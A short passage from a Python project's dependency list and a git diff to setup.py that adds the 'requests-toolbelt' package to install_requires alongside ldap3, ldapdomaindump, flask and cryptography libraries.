ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6 ldapdomaindump>=0.9.0 flask>=1.0 pyreadline3;sys_platform == 'win32' +requests-toolbelt diff --git a/setup.py b/setup.py index 7e9e7c9f40..64c43a3744 100644 --- a/setup.py +++ b/setup.py @@ -72,7 +72,7 @@ def read(fname): data_files=data_files, install_requires=['pyasn1>=0.2.3', 'pyasn1_modules', 'pycryptodomex', 'pyOpenSSL==24.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', - 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'setuptools', 'charset_normalizer'], + 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'setuptools', 'charset_normalizer', 'requests-toolbelt'], extras_require={':sys_platform=="win32"': ['pyreadline3'], }, classifiers=[